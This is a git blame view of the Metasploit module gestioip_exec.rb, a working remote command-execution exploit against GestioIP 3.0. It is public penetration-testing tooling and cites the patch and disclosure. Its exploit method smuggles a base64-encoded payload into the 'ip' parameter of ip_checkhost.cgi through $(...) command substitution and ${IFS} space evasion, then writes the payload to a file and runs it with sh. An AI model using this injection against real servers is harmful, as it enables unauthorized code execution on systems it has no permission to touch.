Files
metasploit-gs/modules/exploits/multi/http/gestioip_exec.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

96 lines
2.8 KiB
Ruby
Raw Normal View History

2013-10-04 06:39:30 -07:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2013-10-04 06:39:30 -07:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2013-10-04 06:39:30 -07:00
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'GestioIP Remote Command Execution',
'Description' => %q{
This module exploits a command injection flaw to create a shell script
2013-10-04 09:54:04 -05:00
on the filesystem and execute it. If GestioIP is configured to use no authentication,
no password is required to exploit the vulnerability. Otherwise, an authenticated
user is required to exploit.
2013-10-04 06:39:30 -07:00
},
'License' => MSF_LICENSE,
'Author' =>
[
'bperry' #Initial Discovery and metasploit module
],
'References' =>
[
2013-10-04 09:59:26 -05:00
[ 'URL', 'http://sourceforge.net/p/gestioip/gestioip/ci/ac67be9fce5ee4c0438d27dfa5c1dcbca08c457c/' ], # Patch
[ 'URL', 'https://github.com/rapid7/metasploit-framework/pull/2461' ], # First disclosure
2022-01-23 15:28:32 -05:00
[ 'URL', 'https://www.rapid7.com/blog/post/2013/10/03/gestioip-authenticated-remote-command-execution-module' ]
2013-10-04 06:39:30 -07:00
],
'Payload' =>
{
'Space' => 475, # not a lot of room
'DisableNops' => true,
2013-10-04 13:29:27 -05:00
'BadChars' => "",
2013-10-04 06:39:30 -07:00
},
2013-10-04 13:29:27 -05:00
'Platform' => [ 'unix' ],
2013-10-04 06:39:30 -07:00
'Arch' => ARCH_CMD,
'Targets' => [[ 'Automatic GestioIP 3.0', { }]],
'Privileged' => false,
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2013-10-04',
2013-10-04 06:39:30 -07:00
'DefaultTarget' => 0))
register_options(
[
2013-10-04 13:29:27 -05:00
OptString.new('TARGETURI', [true, 'URI', '/gestioip/']),
2016-05-27 18:37:04 -05:00
OptString.new('HttpUsername', [false, 'The username to auth as', 'gipadmin']),
OptString.new('HttpPassword', [false, 'The password to auth with', nil])
])
2013-10-04 06:39:30 -07:00
end
2018-08-09 23:34:03 -05:00
def post_auth?
true
end
2013-10-04 06:39:30 -07:00
def user
2016-05-27 18:37:04 -05:00
datastore['HttpUsername']
2013-10-04 06:39:30 -07:00
end
def pass
datastore['HttpPassword']
2013-10-04 06:39:30 -07:00
end
def use_auth
2013-10-04 09:54:04 -05:00
!(pass.nil? or pass.empty?)
2013-10-04 06:39:30 -07:00
end
def exploit
2013-10-04 13:29:27 -05:00
pay = Rex::Text.encode_base64(payload.encoded)
file = Rex::Text.rand_text_alpha(8)
options = {
'uri' => normalize_uri(target_uri.path, "ip_checkhost.cgi"),
'encode_params' => false,
'vars_get' => {
'ip' => "2607:f0d0:$(echo${IFS}" + pay + "|base64${IFS}--decode|tee${IFS}"+file+"&&sh${IFS}"+file+"):0000:0000:0000:0000:0004",
'hostname' => "fds",
'client_id' => "1",
'ip_version' => ""
}
}
2013-10-04 06:39:30 -07:00
if use_auth
2013-10-04 13:29:27 -05:00
options.merge!('authorization' => basic_auth(user,pass))
end
res = send_request_cgi(options)
if res and res.code == 401
fail_with(Failure::NoAccess, "#{rhost}:#{rport} - Please provide USERNAME and PASSOWRD")
2013-10-04 06:39:30 -07:00
end
end
end